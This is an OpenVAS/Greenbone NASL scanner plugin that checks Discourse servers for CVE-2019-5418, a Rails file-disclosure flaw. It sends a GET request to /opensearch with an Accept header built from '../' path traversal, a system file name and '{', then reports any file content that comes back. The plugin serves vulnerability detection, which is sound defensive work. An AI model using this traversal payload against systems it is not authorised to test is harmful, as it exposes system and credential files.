Discourse 'CVE-2019-5418' LFI (Local File Inclusion) Vulnerability

# Copyright (C) 2019 Greenbone Networks GmbH
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:discourse:discourse";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108561");
  script_version("2021-09-08T08:01:40+0000");
  script_cve_id("CVE-2019-5418", "CVE-2019-5419");
  script_tag(name:"last_modification", value:"2021-09-08 08:01:40 +0000 (Wed, 08 Sep 2021)");
  script_tag(name:"creation_date", value:"2019-03-17 11:11:44 +0100 (Sun, 17 Mar 2019)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-10-16 19:02:00 +0000 (Fri, 16 Oct 2020)");
  script_name("Discourse 'CVE-2019-5418' LFI (Local File Inclusion) Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2019 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_discourse_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("discourse/detected");

  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2019/03/13/5");
  script_xref(name:"URL", value:"https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q");
  script_xref(name:"URL", value:"https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/");
  script_xref(name:"URL", value:"https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715");

  script_tag(name:"summary", value:"Discourse is prone to a LFI (Local File Inclusion) vulnerability if
  the hosting system is running an outdated version of Ruby on Rails.");

  script_tag(name:"impact", value:"An attacker might be able to read any file on the file system
  of the host system.");

  script_tag(name:"affected", value:"Discourse installations running a Ruby on Rails version prior to
  6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2 or 4.2.11.1.");

  script_tag(name:"solution", value:"Update the Ruby on Rails version to 6.0.0.beta3, 5.2.2.1, 5.1.6.2,
  5.0.7.2 or 4.2.11.1 or later.

  If this is not possible mitigations steps on how to update the affected code path of the application
  are provided in the references.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check the response.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("list_array_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

files = traversal_files();
url = dir + "/opensearch";

foreach pattern( keys( files ) ) {

  file = files[pattern];
  accept = crap( data:"../", length:3*9 ) + file + "{";

  req = http_get_req( port:port, url:url, accept_header:accept );
  res = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );

  if( line = egrep( string:res, pattern:pattern, icase:FALSE ) ) {

    info['HTTP Accept header'] = accept;
    info['URL'] = http_report_vuln_url( port:port, url:url, url_only:TRUE );

    report  = 'By doing a HTTP GET request with the following data:\n\n';
    report += text_format_table( array:info ) + '\n\n';
    report += 'it was possible to read the content of the local file "/' + file + '".';
    report += '\n\nResult: ' + line;

    expert_info += 'Request:\n'+ req + '\n\nResponse:\n' + res;
    security_message( port:port, data:report, expert_info:expert_info );
    exit( 0 );
  }
}

exit( 99 );